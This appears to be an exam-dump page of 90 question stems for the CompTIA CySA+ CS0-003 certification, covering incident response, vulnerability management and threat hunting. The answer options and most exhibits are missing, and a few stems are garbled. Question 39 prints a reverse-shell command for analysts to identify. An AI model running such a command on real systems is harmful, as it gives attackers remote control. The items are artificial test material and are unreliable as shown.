CompTIA Cybersecurity Analyst (CySA+) CS0-003 Dumps (V10.03) – Quick Preparation for CompTIA CySA+ Certification

1. A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability.

Which of the following CVE metrics would be most accurate for this zero-day threat?

2. Which of the following tools would work best to prevent the exposure of PII outside of an organization?

3. An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:

Which of the following tuning recommendations should the security analyst share?

4. Which of the following items should be included in a vulnerability scan report? (Choose two.)

5. The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released.

Which of the following would best protect this organization?

6. A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious.

Given the following script:

Which of the following scripting languages was used in the script?

7. A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS.

Which of the following most likely describes the observed activity?

8. The Company shall prioritize patching of publicly available systems and services over patching of

internally available system.

According to the security policy, which of the following vulnerabilities should be the highest priority to patch?

A)

B)

C)

D)

9. Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

10. The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization.

Which of the following solutions will assist in reducing the risk?

11. An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS resources. The team determines the organization was impacted by a DDoS attack.

Which of the following logs should the team review first?

12. A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack.

Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in?

13. An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets.

Which of the following steps of an attack framework is the analyst witnessing?

14. An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country.

Which of the following best describes what is happening? (Choose two.)

15. During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application.

Which of the following recommendations would best mitigate this problem if applied along the SDLC phase?

16. An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to.

Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent?

17. The security team reviews a web server for XSS and runs the following Nmap scan:

Which of the following most accurately describes the result of the scan?

18. Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future?

19. A security analyst received a malicious binary file to analyze.

Which of the following is the best technique to perform the analysis?

20. An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation.

Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server?

21. Which of the following security operations tasks are ideal for automation?

22. An organization has experienced a breach of customer transactions.

Under the terms of PCI DSS, which of the following groups should the organization report the breach to?

23. Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?

24. A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment.

Which of the following implications should be considered on the new hybrid environment?

25. A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the authentication logs, web logs, and temporary files, reflecting the web searches from the user's workstation, to build the case for the investigation.

Which of the following is the best way to ensure that the investigation complies with HR or privacy policies?

26. Which of the following is the first step that should be performed when establishing a disaster recovery plan?

27. A technician identifies a vulnerability on a server and applies a software patch.

Which of the following should be the next step in the remediation process?

28. The analyst reviews the following endpoint log entry:

Which of the following has occurred?

29. A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools.

Which of the following best describes what the security program did?

30. Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate network to evaluate which devices were operating in the environment.

Given the following output:

Which of the following choices should the analyst look at first?

31. When starting an investigation, which of the following must be done first?

32. Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident?

33. A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization.

Which of the following will produce the data needed for the briefing?

34. An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country.

Which of the following describes what the analyst has noticed?

35. A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself.

Which of the following can the analyst perform to see the entire contents of the downloaded files?

36. A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst.

Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?

37. Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?

38. A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic.

Which of the following would best meet this requirement?

39. A security analyst detects an exploit attempt containing the following command:

sh -i >& /dev/udp/10.1.1.1/4821 0>$l

Which of the following is being attempted?

40. An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware.

Which of the following factors would an analyst most likely communicate as the reason for this escalation?

41. An analyst is reviewing a vulnerability report for a server environment with the following entries:

Which of the following systems should be prioritized for patching first?

42. A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data.

Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results?

43. A security analyst is trying to identify anomalies on the network routing.

Which of the following functions can the analyst use on a shell script to achieve the objective most accurately?

44. There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat.

Which of the following security controls would best support the company in this scenario?

45. Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach?

46. A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing information to the attackers.

Which of the following actions would allow the analyst to achieve the objective?

47. Which of the following would help to minimize human engagement and aid in process improvement in security operations?

48. After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security Officer (CISO) decided the risk score would be too high. The CISO refused the software request.

Which of the following risk management principles did the CISO select?

49. Which of the following is an important aspect that should be included in the lessons-learned step after an incident?

50. The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals.

Which of the following will best achieve the goal and maximize results?

51. Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?

52. An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system.

Which of the following steps of the process does this describe?

53. Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current employer. Joe is soliciting his current employer's customers. However, Joe has not resigned or discussed this with his current supervisor yet.

Which of the following would be the best action for the incident response team to recommend?

54. The Chief Information Security Officer is directing a new program to reduce attack surface risks and threats as part of a zero trust approach. The IT security team is required to come up with priorities for the program.

Which of the following is the best priority based on common attack frameworks?

55. During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened.

Which of the following actions should the analyst take first?

56. A systems administrator is reviewing after-hours traffic flows from data-center servers and sees regular outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock during work hours as well.

Which of the following is the most likely explanation?

57. New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that new employees are not aware of the company policy.

Which of the following will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy?

58. An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft.

Which of the following would be the best threat intelligence source to learn about this new campaign?

59. An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that includes lessons learned.

Which of the following is the most likely reason to include lessons learned?

60. A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans.

Using the third-party scoring system described below, the team patches the most urgent vulnerabilities:

Additionally, the vulnerability management team feels that the metrics Smear and Channing are less important than the others, so these will be lower in priority.

Which of the following vulnerabilities should be patched first, given the above third-party scoring system?

61. A user downloads software that contains malware onto a computer that eventually infects numerous other systems.

Which of the following has the user become?

62. An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network.

Which of the following should the CSIRT conduct next?

63. During an incident, an analyst needs to acquire evidence for later investigation.

Which of the following must be collected first in a computer system, related to its volatility level?

64. A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region.

Which of the following shell script functions could help achieve the goal?

65. A security analyst is writing a shell script to identify IP addresses from the same country.

Which of the following functions would help the analyst achieve the objective?

66. A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment:

Which of the following should be completed first to remediate the findings?

67. A user reports a malware alert to the help desk. A technician verities the alert, determines the workstation is classified as a low-severity device, and uses network controls to block access. The technician then assigns the ticket to a security analyst who will complete the eradication and recovery processes.

Which of the following should the security analyst do next?

68. A digital forensics investigator works from duplicate images to preserve the integrity of the original evidence.

Which of the following types of media are most volatile and should be preserved? (Select two).

69. A development team recently released a new version of a public-facing website for testing prior to

production. The development team is soliciting the help of various teams to validate the functionality of the website due to its high visibility.

Which of the following activities best describes the process the development team is initiating?

70. A security technician is testing a solution that will prevent outside entities from spoofing the company's email domain, which is compatia.org. The testing is successful, and the security technician is prepared to fully implement the solution.

Which of the following actions should the technician take to accomplish this task?

71. A security analyst who works in the SOC receives a new requirement to monitor for indicators of

compromise.

Which of the following is the first action the analyst should take in this situation?

72. During an investigation, an analyst discovers the following rule in an executive's email client:

The executive is not aware of this rule.

Which of the following should the analyst do first to evaluate the potential impact of this security incident?

73. A security analyst is investigating a compromised Linux server.

The analyst issues the ps command and receives the following output:

Which of the following commands should the administrator run next to further analyze the compromised system?

74. The following output is from a tcpdump al the edge of the corporate network:

Which of the following best describes the potential security concern?

75. A company's threat team has been reviewing recent security incidents and looking for a common theme. The team discovered the incidents were caused by incorrect configurations on the impacted systems. The issues were reported to support teams, but no action was taken.

Which of the following is the next step the company should take to ensure any future issues are remediated?

76. A product manager is working with an analyst to design a new application that will perform as a data analytics platform and will be accessible via a web browser. The product manager suggests using a PaaS provider to host the application.

Which of the following is a security concern when using a PaaS solution?

77. A security analyst performs a weekly vulnerability scan on a network that has 240 devices and receives a report with 2.450 pages.

Which of the following would most likely decrease the number of false positives?

78. An organization wants to move non-essential services into a cloud computing environment. The management team has a cost focus and would like to achieve a recovery time objective of 12 hours.

Which of the following cloud recovery strategies would work best to attain the desired outcome?

79. A security analyst discovers the company's website is vulnerable to cross-site scripting.

Which of the following solutions will best remedy the vulnerability?

80. An organization supports a large number of remote users.

Which of the following is the best option to protect the data on the remote users' laptops?

81. A security analyst is monitoring a company's network traffic and finds ping requests going to accounting and human resources servers from a SQL server. Upon investigation, the analyst discovers a technician responded to potential network connectivity issues.

Which of the following is the best way for the security analyst to respond?

82. Which of the following software assessment methods world peak times?

83. During an incident response procedure, a security analyst acquired the needed evidence from the hard drive of a compromised machine.

Which of the following actions should the analyst perform next to ensure the data integrity of the evidence?

84. As a proactive threat-hunting technique, hunters must develop situational cases based on likely attack scenarios derived from the available threat intelligence information. After forming the basis of the scenario, which of the following may the threat hunter construct to establish a framework for threat assessment?

85. A company creates digitally signed packages for its devices.

Which of the following best describes the

method by which the security packages are delivered to the company's customers?

86. During an audit, several customer order forms were found to contain inconsistencies between the actual price of an item and the amount charged to the customer. Further investigation narrowed the cause of the issue to manipulation of the public-facing web form used by customers to order products.

Which of the following would be the best way to locate this issue?

87. A Chief Information Security Officer (CISO) is concerned about new privacy regulations that apply to the company. The CISO has tasked a security analyst with finding the proper control functions to verify that a user's data is not altered without the user's consent.

Which of the following would be an appropriate course of action?

88. A Chief Information Officer wants to implement a BYOD strategy for all company laptops and mobile phones. The Chief Information Security Officer is concerned with ensuring all devices are patched and running some sort of protection against malicious software.

Which of the following existing technical controls should a security analyst recommend to best meet all the requirements?

89. A security analyst discovers the accounting department is hosting an accounts receivable form on a public document service. Anyone with the link can access it.

Which of the following threats applies to this situation?

90. A security analyst is supporting an embedded software team.

Which of the following is the best recommendation to ensure proper error handling at runtime?